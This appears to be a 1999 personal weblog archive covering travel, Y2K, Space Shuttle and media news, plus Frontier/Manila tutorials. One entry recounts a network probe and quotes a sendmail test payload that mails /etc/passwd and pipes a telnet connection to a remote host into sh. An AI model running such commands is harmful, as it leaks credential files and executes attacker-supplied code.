This is just a small Windows Registry file, which provides two different security fixes for Windows NT.


Spent a little time in the French Quarter last night — Cafe Du Monde, Preservation Hall, Maison Bourbon, and lots of drunk Florida State and Virginia Tech students. People will do anything for mardi gras beads…

Jason Kottke pondered an awesome concept yesterday:

Let’s say there’s a huge mirror pointed in our direction located about 300 light years from Earth. If we had a sufficiently powerful telescope, we could aim it at this mirror, see the Earth as it appeared in 1399 A.D. (600 years having passed from the time that light left Earth, travelled the 300 light years to the mirror, and then the 300 light years back), and subsequently watch the Renaissance unfold.

While most of the world is shunning this New Year’s, New Orleans is doing what it always does — enjoying itself.

Yet another attempt at encroaching on the First Amendment, and from the same movie studios that stand behind the First Amendment to justify a lot of the films that they produce. What will be interesting to me is how the courts rule on my right to make a backup copy of a DVD; it would seem to me that the precedent is strongly in favor of being able to do so.

eToys seems to seeing the light, although they are pointedly not dropping the lawsuit against, instead “moving away” from it.


We’re now telecom-enabled at the SuperDome — we got a nice new Cisco 3600 router, and have a bunch of ISDN lines breathing life into us. Happy happy joy joy.

Places that I’ve eaten so far in New Orleans, every one of which I recommend highly: Copeland’s (had the shrimp etoufee once, and the shrimp and tasso pasta another time), Casamento’s (had the fried shrimp loaf), and Mother’s (had the shrimp po’boy). We’re going to Emeril’s for New Year’s Eve, and Commander’s Palace for New Year’s Day — this is a gustatory trip, indeed.

Aviation Week’s top space photos of 1999 (not that I’m addicted to spaceflight or anything).

It worries me that there are any doctors who would make a different decision about when to deliver a child based the change into the year 2000. Sigh.

The celebrity treatment given to Jennifer Lopez and Sean Combs (since I refuse to call a grown man “Puffy”) by the press is ridiculous. My favorite quote: “The 29-year-old actress and singer endured a 14-hour ordeal during which she was handcuffed to a bench in a midtown precinct and locked alone in a cell and fingerprinted, police sources said.” If I were taken into custody exactly like this, would it be called an “ordeal” by the newspapers? No, since this is just how the system works. But for a pretty-girl celeb like Lopez, this is just tragic.

CNN has a great recap of the top 10 health-related news stories of 1999, as determined by Health Magazine. They also have links to the CNN stories about each.

I really don’t like the slant of this news story. The headline could just as easily read “Steam fitters community scores coup in Hotmail outage” or “Asian male community scores coup in Hotmail outage”, or, more appropriately, “Nice guy helps Microsoft when they messed up.” just had to make this a Linux-and-Microsoft-together story.

Very strange — ostensible millionaires abandon child with cerebral palsy at hospital. There’s definitely more that we’ll all learn as this plays out.

We’re having connectivity and router problems at the SuperDome today, so no updates… sorry.

louis armstrong

I’m headed out to N’Awlins this morning; updates when I get connectivity up and running down there.

As a morning read: somebody told a lot of HotJobs users that they had interviews with CBS, but they didn’t. A terrible prank.


Time Magazine names Albert Einstein as Person of the Century. Great choice, honestly; if you want to read up on the man and his genius, there’s a great online repository of info about Einstein. (I also think that it’s so cool that this man was so smart that his name is used as an instantly-recognized synonym for brilliant, like “He’s such an Einstein!”)

My favorite Einstein quote: “Great spirits have always found violent opposition from mediocre minds.” Close second, a two-way tie: “As far as I’m concerned, I prefer silent vice to ostentatious virtue” and “Only two things are infinite, the universe and human stupidity, and I’m not sure about the former.”

I saw The Talented Mr. Ripley yesterday, and liked it a lot. Very dark and disturbing at times, but it’s meant to be; I thought that the acting was supurb, and the cinematography was awe-inspiring.

I think I really like a new magazine that my brother-in-law turned me on to, Business 2.0. Despite the fact that Jeff Bezos was pretty instrumental to setting it up (and that he’s on the Board of Directors), it has some good content, like this article on the troubled state of e-customer satisfaction.

From Slate, the Bushism of the Week (is this a weekly feature that I didn’t know about?):

“There needs to be debates, like we’re going through. There needs to be town-hall meetings. There needs to be travel. This is a huge country.”

In a move that demonstrates the difference between a hacker and a cracker, hackers are calling for moratorium on hacking over the New Year so that Y2K problems can be identified and fixed.

A little smattering of Y2K-related news: the Federal Reserve has decided to double the amount of on-hand reserves in the banking system this year’s end; the US Patent Office has agreed to a rare review of the Dickens2000 patent (which claims exclusivity on any windowing-based Y2K software fixes); the U.S. organ transplant network is ready for Y2K; and the IRS is accepting Y2K-related excuses for not filing on time (but make sure they’re legit!).

REMEMBER: if you’re worried about Y2K-related viruses on your Windows machine, Microsoft is offering free 90-day trials of most major antivirus applications. (Norton, McAfee, and all the other majors are there.)

Salon’s year-end retrospective on sports, The Hall of Shame, provides pretty good proof that being paid a lot doesn’t turn these guys into automatic paragons of virtue.

The Hubble Space Telescope has been returned to orbit. Exciting stuff!

Happy Holidays and Merry Christmas to everyone! (Or at least those people who celebrate holidays this time of year…)

I won’t be updating the page tomorrow (most likely), so I wanted to wish everyone a safe trip to grandma’s house, or wherever you spend your holidays.

Another good daily diary report from John Grunsfeld, astronaut aboard the Shuttle. From today’s entry:

Inside my space suit I was comfortable, while outside the temperature ranged from -60 to +200 degrees. When we were depressing the airlock from our cabin atmosphere of 10.2 psi to vacuum, small clouds appeared in the airlock as the humidity condensed into water vapor. It made me stop and think for a moment that inside my suit was a habitable atmosphere, with just a few layers of cloth and suit bladder cloth, while outside there was a deadly vacuum.

One of the best musical buys that I have ever made; if you’re looking for a last-minute Christmas present for a special jazz-lover in your life, find this at a local music store today. You will be worshipped.

A good Feed Magazine about the recent spate of Internet lawsuits. It’s a good step-back-look at the logic behind, or the lack thereof.

How can we hope to stem the deluge of unsolicited email when there is a great law banning unsolicited faxes and companies continue to violate it?

I really wanna see Galaxy Quest.

Further supporting the surveys that show most Americans will stay home on New Year’s Eve, party planners and businesses are realizing that demand is much lower than they expected for “the end of the millennium.”

A Pennsylvania cop is accused of paying a 10-year-old Little League pitcher $2 to hit a batter with a pitch. I can’t even begin to think about this guy’s state of mind…

Wow — some guy is swindling tens and hundreds of thousands of dollars from people promising them shares in his infinite free energy machine. There are a lot of people who don’t understand physics out there, and he appears to be preying on every one of them.

shuttle engine glow

Some great Space Shuttle stuff from the past 24 hours — the spacewalk yesterday was the second-longest in US history, and they managed to replace all six of the gyroscopes on Hubble. Today, they’re planning to replace the main computer on the telescope; it will be three linked 486 machines. Here’s CNN’s wrapup of the first EVA; of course, there’s also John Grunsfeld’s daily diary entry, which has beautiful pictures and terrific writing:

Big day for me tomorrow. My first EVA, and my chance to meet the Hubble Telescope up close and personal. As an astronomer I face the day with great excitement, and a little trepidation.

The NY state appellate court overturned the conviction of Oliver Jovanovic yesterday. (Jovanovic is the Columbia University graduate student who allegedly kidnapped and sexually tortured a Barnard College student; the court ruled that explicit email that she had sent to Jovanovic was incorrectly kept out of the trial.)

Bruse Feirstein pens a sentimental tribute to Desmond Llewelyn, the actor who played Q in the Bond film series.

Again, our domain name system demonstrates that it isn’t quite ready for prime time yet (but unfortunately, we’re in prime time now!).

The end of year has been pretty good at InfoWorld. There’s a great Bob Lewis column about how deadlines should not rule your life, Ed Foster’s justification for continuing the battle against spam, and even a Laura Wonnacott article fessing up to major Y2K problems at a magazine that has covered the true impact of the problem for almost a decade.

Interesting — a black bank robber says that racism by white people is what made him insane, and he claims that a white psychologist would not have the “empathy, moral courage and responsibility, as well as the intellectual depth or the peculiar understanding … of the African-American’s unique humanness, sensitivity, and the traumatically acquired psychological aberrations” of white racism.

APBNews has filed a lawsuit against the judges, demanding that the judicial disclosure information actually be disclosed.

A couple of neat e-card websites that I’ve come across over the past couple of months: Corbis has some beautiful photography, and great presentation; Andreas Lindkvist has some awesome ones that he drew himself; and 123 Greetings has standard fare, much like Blue Mountain.

John Rocker, relief pitcher for the Atlanta Braves, appears to be a pretty huge idiot, not to mention a racist, homophobic, xenophobic waste of precious oxygen. (Of course, now that he’s had time to think about it, he regrets the remarks.)

Today, they’re starting to work on Hubble — I didn’t realize that they had cancelled one of the spacewalks, leaving them with just three to get all of the repairs fixed. John Grunsfeld’s daily journal is about the launch:

At two minutes the solid rockets depart, everyone on board breathes a sigh of relief and we start to accelerate on up to orbit. The ride on the main engines is smooth, more like an electric train than the bucking bronco of the solids. Discovery performed flawlessly, without even a burp to put us on edge. Nearing the main engine cutoff, the acceleration is three times gravity, meaning I had the effect of a 600-pound gorilla standing on my chest. Breathing at this acceleration takes some effort.

The Onion’s tips for the new millennium: “Develop the ability to convert sunlight into energy using the chlorophyll in your body.”

Something that’s somewhat troubling to me — the FCC is about to approve Bell Atlantic’s move into long distance. It’s a pretty universal feeling in this city that BA can’t even handle basic local service; dealing with them is more of a hassle than I care to talk about. So letting them expand their service? Doesn’t seem right.

Today, Dan Hartung linked to Faq-O-Matic, a CGI package that lets website admins create and maintain a FAQ on the web. I thought that this was cool for about 0.9 seconds, when it hit me — I’ve got something much cooler, Manila!

Seeing as the pictures were of real teens, Patrick Naughon’s appeal fails. But wait! I, and the judge, were wrong; Naughton is now free… hmmmmmm.

Despite a triple-double from Jason Kidd, the Spurs win an overtime squeaker against Phoenix.

Today, I received a few strange email bounces to my postmaster account for my company (a very large Fortune 100 company), saying that mail had come in addressed to a nonexistent user, but that the return address was also bad, so my mail server couldn’t return them. It turns out that the mails were a part of an unsolicited, and definitely unwelcome, scan of our network; here’s how things played out.

4:49 PM EST: My mail server bounces the group of messages that the individual had sent to the postmaster account (me). Here is one of the messages, with both the perpetrator’s IP address (which is in the header and message) and our mail server name blacked out:

Received: from StPaulie ([*sender's IP*]) by *our server*
          (Post.Office MTA v3.1 release PO203a ID# 0-34084U100L100S0)
          with ESMTP id AAA173
          for <"bin@localhost |tail|sh bin"@localhost>;
          Tue, 21 Dec 1999 16:49:17 -0500
Return-Receipt-To: |foobar
Subject: ISS (This Email does not indicate a vulnerability)
# testing sendmail remote bug
#!/bin/shcat > /tmp/smail.bad <<EOFSubject: ISS - Sendmail Security Vulnerability Report
Sendmail on the originating host is Vulnerable to Intruders.
Please contact your Vendor for the Newest Sendmail version.
E-mail: <> for Internet Security Scanner Information.
cat /tmp/smail.bad /etc/passwd | mail postmaster
( sleep 2 ; echo quit ) | telnet *sender's IP* 5700 | sh >> /tmp/tel.out 2>/tmp/tel.err

All in all, I got two bounces each from our two mail servers.

5:10 PM EST: I checked my mail, picked up the four bounced messages, and immediately did an nslookup, a whois, and a traceroute on the address. I found out that the address belongs to a customer of Verio, a large national ISP; the nslookup did not return a hostname, the whois resolved to a netblock of theirs, and the traceroute terminated on their network. I then went into my mail server logs and verified that the IP address was, in fact, correct; I also did a port scan of the IP address in question, and noticed that port 5700 (the port that the mail message tried to send my password list back to) was open and accepting TCP connections. (In addition, ports 5701, 5702, and 5703 were open.) It appeared to me that someone was running one of the ISS network or machine scanners against my mail servers.

5:15 PM EST: I called Verio’s corporate number, and notified the receptionist that I needed to speak with their security team. I was put in touch with a woman who took down the information and then told me that she was going to get in touch with the security team down in Dallas (where Verio’s Network Operation Center, or NOC, is located). She put me on hold, and then conferenced me in with the head of the team, who was in his car on the way home. He asked me to send the log files and my contact information to the security email account, and once he walked in his front door, he’d call me back.

5:45 PM EST: I checked the log files for our FTP, web, and other servers, and saw that the same address was either benevolently scanning or malevolently attempting to break into every single machine on a segment of our network. It appeared to be the same ISS security suite that was scanning us, on every machine. I called Verio back, and was put on hold to wait for a security technician.

While I was on hold, I was able to determine that the machine was still connected to the Internet, and still had the aforementioned ports open. I also was able to get a great deal of information about the machine, thanks to a bunch of great network information tools that run both on my Windows 98/NT boxes and my Linux box — I was able to get his Windows networking name, the type of operating system he was running, and all of the ports that he had open.

6:05 PM EST: An assistant-type came to the phone, and said that she couldn’t get in touch with any of the security people; she said that she would continue to try, and call me back.

6:20 PM EST: The assistant called me back, and patched in a security technician to the call. I let them know that I was seeing the same security probes on all of my machines. He again had me forward the logs to the security email address, and promised me a call back. While I was on the phone with him, I noted another round of scans against my machines; I also noted that their acceptable use policy (AUP) explicitly prohibits unauthorized access to other computers or networks (as it should), and says that they can shut down any accounts that they become aware of the behavior:

“When Verio becomes aware of harmful communications, however, it may take any of a variety of actions. Verio may remove information that violates its policies, implement screening software designed to block offending transmissions, or take any other action it deems appropriate, including termination of a subscriber’s contract with Verio.”

6:40 PM EST: With no call back, I head out to dinner; I have my beeper, and they know the number.

8:00 PM EST: I return from dinner, without having been paged, with no phone messages, and with a perfunctory email explaining that they are looking into it. I call the contact number that I have, and the person has gone home for the night; I then fall into the general support queue. While on hold, I determine that the machine is still up, that it is still the same machine, and that it has continued to scan my network every 30 to 60 minutes since I last checked.

8:20 PM EST: I give up, and try the corporate number. It tells me to call a different tech support number, and this call is immediately answered. The technician senses that I am slightly perturbed that over three hours have gone by without any action on their part; he puts me on hold while he contacts the NOC.

8:27 PM EST: The technician comes back and tells me that they have left a message on the user’s answering machine (he also accidentally tells me the user’s name and phone number, oops!), and that they have paged the security supervisor. Other than that, they are continuing to “deal with the situation,” and will contact me when they “figure things out.” I explained that I found this unacceptable — that I know that their AUP lets them shut the user down, and the fact that they had not done so, in the face of a very well-documented and unwelcome security probe, was just plain wrong.

I also asked for a call back from someone in the security group ASAP. My options, I explained, were to either allow them to continue to “deal with the problem” or to start the procedure at my end to shut down our network completely to Verio traffic; for all I knew, this was a dialup user, so shutting down a single IP address wouldn’t stop him from coming in on another address when he realized what we had done. He agreed, and told me that this was all “in the case,” so I could expect a call back.

8:50 PM EST: I begin the process of shutting down our network to the Verio network. I call our network support help desk, and had them page the night supervisor for the Internet firewall and router group.

8:53 PM EST: I get a call back from the help desk, asking for the IP address. They explain that they are going to start with that address, and both log and filter all traffic coming from Verio as well; they asked that I maintain the log files that I had, as well.

8:58 PM EST: I receive another batch of bounces from our mail servers; this is the fourth such batch, and they are all from the same IP address as before.

9:11 PM EST: I am no longer able to ping or scan the IP address in question; since I do not have my home connectivity through the office, this is the doing of Verio, not of my firewall and router people.

9:35 PM EST: I still have not heard a word from Verio. At this point, for all I know, I will go into work tomorrow and find machines trashed; my coworker and I decided that we would bring these logs to the corporate legal department, and also to explain that four hours of time went by between when Verio was notified of the security violation and when they started to take action to cut off the customer.

9:41 PM EST: I get an email from the head of the Verio security team; the entirety of the email (nothing has been omitted) is:

I'm looking into this right now.

9:51 PM EST: I get a call from the head of security of Verio, who is at home; he just got off the phone with his staff, who had just spoken with the person who was launching the probe. It turns out that it was a company under contract with our company to provide unannounced security probes; they were a little shocked that we had responded so quickly. I asked if Verio had known this the whole time; they said that they had just determined it. I asked why it took so long to discover this, and why so long had gone by without any communications from them; he said that he would look into it when he went in tomorrow morning.

9:55 PM EST: The on-call network supervisor for my company called me, and after I told him what I was able to find out, he acknowledged that it was a surprise network probe; he was surprised at how quickly we got on top of it, and got all of the networking people involved.

In the end, I am less than impressed at how Verio handled this. As part of my job with this company, I travel all over the United States to transmit electronic data back to New York. I always find a local ISP to use, and frequently have used Verio. The chances of me doing so again are small; their tech support, while in the end getting to the bottom of this, could have done more. If this had been a concerted attack rather than a probe, this would have become a big issue.

Every time I look at the logs of my webservers, I’m amazed at how many webcrawlers are out there, indexing web sites for some search engine or another. But there are definitely parts of my websites that aren’t meant for indexing — dynamically generated statistics that change every minute aren’t worth indexing, and likewise, web cameras probably aren’t worth throwing into a search engine. This is where the Robot Exclusion Protocol comes in; it allows you to create a robots.txt file as part of your website, and well-behaved webcrawlers are supposed to look at this file to determine what not to index.

Using a robots.txt file on your Frontier site

Frontier is an amazing web serving and web content environment, and putting a robots.txt file into your Frontier-generated or -maintained web sites is easy. Since I’m concentrating mostly on how to integrate a robots.txt file into a Frontier web site, I am going to assume from this point on that you know how to write a robots.txt file; if you don’t, it doesn’t really matter, but you can also read the Web Server Administrator’s Guide to the Robot Exclusion Protocol. Additionally, I am focusing here only on mainResponder as the webserver in Frontier, since that’s the current shipping framework. (It’s also much improved over the old webserver, so you should upgrade to it if you’re still running a version of Frontier without it!)

First, let’s start out with the three big requirements of a robots.txt file that are relevant to this discussion:

  1. There can only be one robots.txt file on a website.
  2. The file should be at the root of the website.
  3. The file should be plain text, not HTML.

The first requirement is tricky, insofar as it means on any given base URL you can only have one robots.txt file. So, if you have Frontier serving only one URL (say,, you can only have one file total. But if you are using Frontier’s ability to serve multiple virtual domains, then each domain can have its own robots.txt file.

The last two requirements mean that, depending on how you have set up mainResponder or each virtual domain site, there are different ways to include the robots.txt file. The big variable is where a website’s home URL is being served from — for the most part, it can either be from the Guest Databases\www\ directory or from a website table in the Object Database (ODB). Let’s look at both options.

The Guest Databases\www\ directory

This provides the easiest way to include a robots.txt file, since a website that’s serving out of this directory just serves up files as-is. All that you have to do is put a straight text file into the directory; a file like the following will prevent any well-behaved crawler from indexing anything on your site.

User-agent: *
Disallow: /

Now, remember the first rule above — you can only have one robots.txt file on any given website. So, if the base URL for your website is, and you have a Manila site at, you can’t have a robots.txt file at the base of your Manila site ( — webcrawlers won’t look for it there, since that violates the protocol spec. Instead, your robots.txt file at the root of your website can include a section that has specific rules for the directory myFirstSite; read the protocol specs to get the details. (Note that there’s also a robots META tag that you can use on a per-page basis; that’s a topic for a later date.)

Website tables in the ODB

Because of the third requirement above, this is a little trickier. when a site is rendered out of a table, Frontier is good about creating proper HTML; for the robots.txt file, though, you don’t want HTML, you want plain text. This is easily done.

First, create a subtable named #templates at the root of your website table. In this table, create an outline object named robotTemplate. The outline should consist of one line, {bodytext}. (Specifically, there should not be references to the pageHeader or pageFooter macros.)

Next, create a WP Text entry at the root of your website table named robots.txt. The first line of this should be #template “robotTemplate”; the rest should contain your robots.txt information. Again, determine the content that you want in this from the protocol spec. Here’s an example:

#template "robotTemplate"
User-agent: *
Disallow: /private/

Now, when the webcrawler requests the robots.txt file, it will get this object; Frontier renders it through the robotTemplate template, so it doesn’t get any HTML formatting. Check it out in your web browser — request the robots.txt file, and look at the page source to verify that there’s no HTML.

Again, remember that this is only useful if the website table is actually being served as the root of a website; if it’s one directory into the website, then webcrawlers won’t look for the file, and it won’t do you any good.

Slept in late this morning, and wow did I need the rest.

If you run a website, you may see a few requests for a file at the root level of your website named robots.txt. These are just well-behaved webcrawlers; the Robot Exclusion Protocol is a way to keep them from getting into parts or all of your website to index them.

A quick Frontier How-To today: Frontier and the Robot Exclusion Protocol. (I don’t know if you noticed, but as I discover or figure out how to do a new thing in Frontier, I’m documenting it, so that I don’t have to relearn it down the road.)

Today, there was a surprise network probe of my other employer; we caught the entire thing in our logs, and I have written up my sketchy dealings with the ISP that hosted the probe.

Here’s an awesome fake memo to Microsoft Office users, ostensibly set after Microsoft loses their antitrust lawsuit. The memo is from the FBIT — the “Federal Bureau of Information Technology.” Genius.

OK, I really had to put this up here — the first MRI images of sexual intercourse. The full British Medical Journal article is here.

Apparently, evil eToys is holding up under what are potentially major denial of service attacks. (The question is, will their specious argument about hold up in court?)

It’s true, you can slap a “Millennium” label on anything and market it.

Regarding the huge LA Times controversy surrounding their publication of a Staples Arena “editorial supplement” for which they split ad revenues with Staples Arena: the easiest way to avoid further embroiling people is to publish a painfully long, convoluted report on the matter. I can’t imagine that anyone would read all of this; if there’s a hard conclusion buried in there, nobody will find it.

Because it wouldn’t be a day on Q without Shuttle links: one of the most beautiful pictures of a Shuttle launch I’ve ever seen, astronaut John Grunsfeld is keeping a daily web journal on the mission, and Florida Space Today is keeping a weblog of the mission.

Maybe this explains part of the reason why some kids are terrified of clowns.

Today, I moved my EditThisPage site off of Userland’s server, and onto my own. All in all, it was a phenomenally easy thing to do; that being said, there are a lot of things that I had to think about and do beforehand in order to make it that much easier. This is a quick missive about the process of moving a Manila or EditThisPage site — things to think about while designing the site in the first place, all the way through things that you need to do once the site is on its new foundation.

Quick recap of my introduction to Manila

A few weeks ago, Userland released Frontier 6.1, with a remarkable technology built into it called Manila. (If you don’t know about Manila, I recommend clicking on that last link and reading a little about it.) Very quickly thereafter, they set up EditThisPage, a place where anyone could get a Manila website of their own, and have it hosted for free for 60 days. I had been hearing about Manila from Dave Winer (via Scripting News) and others for a while, so I decided to give it a try — I set up my own site, Q.

Within about three or four hours of playing with my ETP site, I was wowed — effortlessly, I had created what I thought was a nice-looking site, and just as effortlessly, I could edit the contents of that site and build up a remarkably complex hierarchy of content. Seeing that Edit This Page button all over the place made be happy. Using my web browser to edit the look and feel of my website made me even happier. Over the next two weeks, I continued to use my site, updating it regularly, tweaking the look and feel, and remaining shocked at how easy it all was.

I have been running various versions of Frontier since 1.0, and Manila sold me on setting up a server with Frontier 6.1 on it. I wanted to move Q to that site, and thankfully, I was able to do that — on my very first day of playing with Manila, I had asked what would happen if I wanted to take my root file and put it on my own server, and Dave had committed to making that possible. Out of this came the downloadMySite feature of Manila, which lets you download your own site’s entire root file and move it to any Manila server you want.

Downloading my site from ETP

This was painfully simple — I just typed the URL to the downloadMySite feature of my ETP site into my browser’s address bar,, and (so long as I was logged in as a managing editor of the site) along came my site’s root file.

Next, I made sure that my copies of manila.root and mainresponder.root were up-to-date, and I threw my new root file into the Guest Databases\www directory of my new server. (I also renamed the file from MySite.root to q.root.) In Frontier, I opened the root file and then, with it as the selected window, I chose Install Site from the Server menu. When asked for the new URL of the site, I typed; Frontier then did its thing and my site was done. Very cool.

Changing the small things that needed changing

I found that there are some small things that needed to be changed after installing a site that has been downloaded via downloadMySite.

  • User Passwords: when you download your site via downloadMySite, none of your users have passwords anymore (this is by design). Unfortunately, this means that none of your users can log in, including the managing editors. So, you have to go into the #membershipGroup table in your root file, open up the users subtable, and then open each of your users and give them a password. Of course, you next have to post a note on your site telling your users to email you for their new password; they can then change the password by logging in and going back to the Join function. (This is a step that I would love to see Userland eliminate, either by creating these password entries for you or just passing the real passwords along in the root file — after all, only managing editors can download the site.)
  • Incorrect URLs: there are a few small places where your old URL probably will show up, all of which are in the administrative preferences sections. In the Membership panel, the email bulletins probably contain a URL for the unsubscribe page; in my site, it still was the old URL. Likewise, the master page template on the Advanced panel had my old URL as the link for the page title, and I had to change it. Since I currently don’t have a search engine set up, I don’t know if URL for the home page in the Searching panel would have been updated; you’ll want to look at this as well. And last, in the Advanced panel, any links to your own site in the Navigation section will probably have to be changed, especially if you’re going from a site that was down a path folder from the website’s root level to a site that is at the website’s root level.
  • Incorrect addresses: So far, I’ve found at least one place where the address to my website was incorrect after moving it. In the website root, check out the #discussionGroup/prefs/adrMsgReader entry; this address probably needs to be updated to reflect the new root file.
  • Shortcuts: your old Manila provider probably had a big glossary of shortcuts, and you probably utilized them once or twice. Now that you’re on your own, those shortcuts may not go anywhere. Your options are twofold: recreate them (easy if you only used one or two of their shortcuts), or ask your provider if they would be willing to give you their glossary. Userland’s glossary, which is what runs behind ETP, can be grabbed here (and they religiously keep it up to date).
  • Syndication and Monitor Memberships: Of course, if you are currently a content provider for My.Userland, a member of Weblog Monitor, or subscribed to any similar services, you’ll want to go to them and update your information. For My.Userland, you want to go to the Change URL page (you’ll need to know your channel number); for Weblog Monitor, you go to your prefs page.
  • Redirection: Lastly, you will want to ask your prior Manila provider to provide you with a redirection from your old site to your new one (unless you have worked out something else, or the terms of your agreement with them excluded this option). This is actually a very easy thing for them to do; there’s an (undocumented) feature of MainResponder (the web server framework on which Frontier and Manila are built) that lets the person running the server just put a #redirect entry at the root of the site’s table. This entry is the base URL of the new site, and according to Brent Simmons, this method of redirecting means that all requests to the old URL will be totally rewritten to the new one. (Thus, will be rewritten to, rather than just being thrown at the root Very nice.)

Once you make these minor changes, you’re done — your site is set up, and you’re ready to rock.

Making your life easier from the very beginning

There is a step that makes your life significantly easier when you’re moving your website, and it’s something that you have to implement from the very first day of using Manila, even at the old site’s location: use relative, not absolute, URLs in all of your self-referential links.

What do I mean by this? When you’re linking to some other day’s discussion group message list, you can write the link two ways:

  • <a href=””>
  • <a href=”/discuss/1999/12/20”>

The first one uses an absolute URL — the URL specifies everything, the http protocol, the hostname, the path, and the document. The second one uses a relative URL — by omitting the http protocol and the hostname, the browser just tacks on the current ones to the given link path.

Why does this matter? Because when you move sites, your hostname generally changes. By using relative URLs throughout your site, you won’t have to go in and change all of those links; they will point to the right place, since the browser will just use the hostname from the home page of the site to fill in the rest of the link location.

Note that you should use this practice everywhere — in your master page template (I even use <a href=”/”> as the link for my page title), in your daily entries and stories, in your image SRC tags (if you’re using images uploaded into the pictures section of your Manila site), in your handmade shortcuts, and everywhere else you can think of.

In closing…

Have fun with Manila. It can do amazing things, and it can make your life easier while doing those amazing things. You aren’t limited to weblog-type sites, or to discussion group sites; I have now written image processing and photo browsing sites, database maintenance sites, and simple redirection sites, all with the exact same basic tool.

Also, play with it, get comfortable on the server side, and spend time tracing through scripts. You learn a lot, find features you never knew about, and have plenty of “Aha!” moments. You will write better scripts in the end, and you will definitely be worth more as a site designer and suite designer than before.

Lastly, continue to work with the community to find features, solve problems, and suggest solutions. There’s plenty of room to grow, both in the community and in Manila.

Welcome to the new home of Q! Please note that the URL in your browser address bar may be different than what you typed or bookmarked; the new URL here is You probably will want to change your bookmarks. The fact that you’re reading this here, though, demonstrates how powerful Manila can be. More on this later… And thanks to Userland for redirecting my old URL!

NOTE: everyone’s passwords have been changed, as a necessary consequence of downloading the site from ETP. If you shoot me off a quick email, I’ll let you know what your new password is; I’ll get back to you right quick.

New story: Of Manila and Portability. Talks about me moving my site from ETP to here, and gives tech notes and advice about the process.

Interesting… the 9th District US Court of Appeals ruled that making illegal pornographic images of people who look like children is unconstitutional. I was just having this argument with my brother (who is a lawyer) recently. A consequence of this is that Patrick Naughton will now ask for a new trial (although apparently the images on his laptop were of actual children, so he is appealing on a technicality related to jury instructions). And on a related front, a middle school teacher allegedly showed 12 and 13 year old boys porn sites on the ‘net (not like the kids probably hadn’t found them on their own already!).

This is strange… after posting the links above, I went to Bad Hair Days for my daily read, and she has every single one of them on her weblog. Synergy, or just spooky.

Come on… tell me you don’t think this is at least mildly funny.

American Beauty garnered six Golden Globe nominations. If you haven’t seen it, it’s worth it; a great dark comedy with some terrific acting.

I had no idea that Ben Affleck actually contributes to his own official site. Pretty down to Earth, actually.

This is a great website about one man’s attempt to set up a Post-It conversation on a building wall. (Found at Lake Effect, which seems to cover the Chicago beat well.)

Fox Television provides us with today’s sign that we’re very near the apocalypse with their in-production show, Who Wants To Marry A Multi-Millionaire. The whole concept is inane; there should be more to a person’s dreams of wedded bliss than oodles of money. My personal favorite is the potential contestant’s mother who justified their interest by saying:

“Growing up, Wendy always wanted her own aquarium and zoo. How else would she get this but to marry a millionaire?” asked Gibson.

The necessary gaggle of Space Shuttle links, now that they’ve gotten it into orbit: you can track the Shuttle, you can watch NASA TV, you can see the pre-flight images (including generally the nicest launch pictures of the lot), and you can check out the images and videos from the mission.

No! Desmond Llewelyn died in a car crash today. Besides being a name-alike for this site, he was a terrific actor, appearing in over 30 movies and a good number of the Bond films.

The Shuttle is now spaceborne.

So, after getting the spam from AOL themselves yesterday, I forwarded it to It bounced back to me as undeliverable — “connection refused”. Somehow seems par for the course for AOL. And it turns out that Chuck Taggart got the same spam (see his 12/17 entry).

Relive your childhood — online Etch-A-Sketch. (Of course, a better alternative would be to buy a real one, since there’s no way that a Java applet can simulate the fun of holding one in your hands.)

This is tres cool — contact lenses to correct colorblindness. I’m interested in finding out how these work, since colorblindness is more or less a physiologic deficiency, an absence of some or all cones (the color-sensing part of the retina) or the absence of a photopigment in the cones.

Garry Trudeau pens a tribute to Charles Schultz and Peanuts, saying that he is one of only two cartoonists that had the power to change the world.

Today’s sign that we’re nearing the apocalypse: James Brown named Strom Thurmond as a “hero of the 20th century.” Yes, the same Strom Thurmond who ran most of his early political campaigns, including his bid for the Presidency, on a strict segregation platform. Then again, yes, the same James Brown who has used enough drugs that there’s no telling how well his brain works anymore.

Thank GOODNESS that domain names can now be 67 characters long — I was feeling pretty darned oppressed that they wouldn’t let me register

It turns out that Newt had a honey on the side while he was lambasting the President for doing the same, and even while he was trumpeting the Contract With America. (And by settling his divorce suit with his now ex-wife, his answer to her interrogatory “Do you believe that you have conducted your private life in this marriage in accordance with the concept of ‘family values’ you have espoused politically and professionally?” does not have to be made public.)

Here’s a much-overlooked way to avoid all of the portal-like blinding eye candy at Altavista — I don’t use the main page anymore.

Ah, back on the ground in NYC. The plane flew north up the Hudson River from the Bay, and I was on the right side — so I got an awesome view of the whole city. I love when things work out just right.

The friend that I mentioned a few days ago (the one who passed on the link to the young George Lucas movie) made me feel guilty for not identifying him — he’s Phil Jache, and he works with me. (I was actually waiting for him to set up his own ETP site and then ID him by pointing to it, but it looks like he’s too lazy, busy, or both.)

The tree-freak returns to Earth. I’m really glad that she was able to save her single tree (plus a buffer zone, apparently).

shuttle shadow

Will the Shuttle get off the ground tomorrow, at least? I hope so… the space program is having enough trouble already, and the Hubble deserves to be fixed.

Woo hoo! NBC is filling the Friday night, 10 PM EST time slot with Law & Order episodes. Awesome.

Beth is in rare form today:

I would like to live out the rest of my life without having to look at Jennifer Love Hewitt, especially if she’s going to dress like this. And get that simpering look off your little underfed rat face, you twit.

In a bit of twisted irony, Boy George was almost killed by a huge falling disco ball.

Apparently, Roger Ebert doesn’t like digital projection. Unfortunately, I didn’t get a chance to see Phantom Menace or any of the current animated releases digitally; I really want to figure out when one of them is coming to NYC.

From the dotcom law front: a former Playboy Playmate is allowed to call herself a Playmate, and gains supporters in its fight against the evil eToys.

So, I wrote a web page three weeks ago, and created a new email address specifically for inquiries about that page. Yesterday, I got spammed by AOL — an ad for AOL Instant Messenger, with the statement at the bottom: “You have received this e-mail based on your interest in the products offered by America Online, Inc.” I hate that crappy company. Does anyone know a phone number to AOL customer support? (mail me)

Sorry about the quiet day — I was in my last interview of 1999, and it went fine. It snowed here in Chicago today — beautiful, fluffy snow, it made me very happy. But this story makes me not want to fly out tomorrow… alas, I must.

In addition, my T1 at home just came back up late last night — no explanation for the outage, and since they never had access to my apartment, either it was a spontaneous thing, or they really could fix it without needing access. Whatevers.

Quick hello from the Cleveland-Hopkins International Airport… I think that it’s tremendously cool that I can just plop down, plug my laptop into a phone jack on a payphone, dial an 800 number, and be on the ‘net. The interview at Rainbow Babies & Children’s went well, and all of the people seem to be very happy there.

